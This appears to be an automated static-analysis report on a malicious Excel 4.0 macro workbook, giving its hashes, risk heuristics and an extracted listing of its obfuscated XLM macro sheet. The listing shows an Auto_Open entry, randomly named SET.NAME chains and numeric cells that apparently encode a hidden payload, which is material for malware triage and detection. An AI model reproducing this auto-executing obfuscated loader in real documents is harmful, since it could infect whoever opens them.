Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e71df77166c1f07e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:10 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 8b9116b1ef24c34c06ae173ac9011ffd SHA-1: 5e728567272bf5f010e2b028333430940eb9d301 SHA-256: e71df77166c1f07e92c342a0c122d1dcfebc4ee10728f52c3a4cfe83fbe29532
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6664 bytes
SHA-256: f9b7991de5cc31042004dbb20f54e8b86151cb8a60b2d67ab27af716dbcac63a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'oSdLilBnNkdl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DlKxqt
' 0018     20 LABEL : Cell Value, String Constant - ApHVD len=0 
' 0018     25 LABEL : Cell Value, String Constant - aSLhDDBtng len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D140 
' 0018     20 LABEL : Cell Value, String Constant - AxsPq len=0 
' 0018     26 LABEL : Cell Value, String Constant - DrzpxHuBcbS len=0 
' 0018     22 LABEL : Cell Value, String Constant - DVjXsIU len=0 
' 0018     22 LABEL : Cell Value, String Constant - eiMRqbP len=0 
' 0018     25 LABEL : Cell Value, String Constant - fYEmMWfOmZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - IOwtYQDm len=0 
' 0018     23 LABEL : Cell Value, String Constant - jBVttrle len=0 
' 0018     23 LABEL : Cell Value, String Constant - jmRhOaiC len=0 
' 0018     24 LABEL : Cell Value, String Constant - JwDlZjBiO len=0 
' 0018     27 LABEL : Cell Value, String Constant - oSdLilBnNkdl len=0 
' 0018     25 LABEL : Cell Value, String Constant - PiAeYopuGm len=0 
' 0018     21 LABEL : Cell Value, String Constant - rMAyDd len=0 
' 0018     23 LABEL : Cell Value, String Constant - SpDoHtCz len=0 
' 0018     24 LABEL : Cell Value, String Constant - TrQRnKZIl len=0 
' 0018     22 LABEL : Cell Value, String Constant - TVQwdfN len=0 
' 0018     23 LABEL : Cell Value, String Constant - VagKAjNK len=0 
' 0018     27 LABEL : Cell Value, String Constant - vjJecIoYLpnB len=0 
' 0018     24 LABEL : Cell Value, String Constant - zzJBBDqFF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DlKxqt,D47,"SET.NAME("VagKAjNK",0+VALUE("0"))",""
'  DlKxqt,D50,"SET.NAME("AxsPq",VagKAjNK)",""
'  DlKxqt,D52,"SET.NAME("JwDlZjBiO",VagKAjNK)",""
'  DlKxqt,D55,"SET.NAME("IOwtYQDm",COUNTA(vjJecIoYLpnB))",""
'  DlKxqt,D60,"SET.NAME("eiMRqbP",COUNTA(PiAeYopuGm))",""
'  DlKxqt,D64,[],""
'  DlKxqt,D66,"SET.NAME("zzJBBDqFF","")",""
'  DlKxqt,D68,"AxsPq",""
'  DlKxqt,D71,"SET.NAME("DVjXsIU",HLOOKUP("*",vjJecIoYLpnB,AxsPq,FALSE))",""
'  DlKxqt,D74,"DrzpxHuBcbS",""
'  DlKxqt,T74,"",326.00000000000000000000
'  DlKxqt,T75,"",794.00000000000000000000
'  DlKxqt,T76,"",-231.00000000000000000000
'  DlKxqt,T77,"",-641.00000000000000000000
'  DlKxqt,D78,"SET.NAME("ApHVD",VagKAjNK)",""
'  DlKxqt,T78,"",-991.00000000000000000000
'  DlKxqt,T79,"",278.00000000000000000000
'  DlKxqt,D82,[],""
'  DlKxqt,D86,"ApHVD",""
'  DlKxqt,D88,"SpDoHtCz",""
'  DlKxqt,D93,"fYEmMWfOmZ",""
'  DlKxqt,D96,"jmRhOaiC",""
'  DlKxqt,D100,"SET.NAME("TVQwdfN",VALUE(HLOOKUP("*",PiAeYopuGm,jmRhOaiC,FALSE)))",""
'  DlKxqt,D105,"jBVttrle",""
'  DlKxqt,D110,"zzJBBDqFF",""
'  DlKxqt,D114,"JwDlZjBiO",""
'  DlKxqt,D118,NEXT(),""
'  DlKxqt,D122,"aSLhDDBtng",""
'  DlKxqt,D124,[],""
'  DlKxqt,D129,"oSdLilBnNkdl",""
'  DlKxqt,D131,NEXT(),""
'  DlKxqt,D135,RETURN(),""
'  DlKxqt,D165,"SET.NAME("TrQRnKZIl",D47)",""
'  DlKxqt,D170,"vjJecIoYLpnB",""
'  DlKxqt,D172,"SET.NAME("PiAeYopuGm",R41C12)",""
'  DlKxqt,D177,"SET.NAME("oSdLilBnNkdl",185)",""
'  DlKxqt,D180,"SET.NAME("rMAyDd",4)",""
'  DlKxqt,D184,TrQRnKZIl(),""
'  DlKxqt,D185,HALT(),""

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